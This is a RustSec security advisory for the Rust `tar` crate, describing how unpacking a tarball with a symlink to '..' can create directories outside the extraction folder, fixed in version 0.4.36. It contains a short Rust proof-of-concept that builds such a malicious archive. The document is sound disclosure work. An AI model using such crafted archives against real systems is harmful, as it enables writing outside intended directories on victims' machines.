RUSTSEC-2021-0080

Dashboard / Vulnerabilities / RUSTSEC-2021-0080

RUSTSEC-2021-0080

Summary: Links in archive can create arbitrary directories

Details: When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point. ```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") } ``` This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for the fix!

References: https://crates.io/crates/tar, https://rustsec.org/advisories/RUSTSEC-2021-0080.html, https://github.com/alexcrichton/tar-rs/issues/238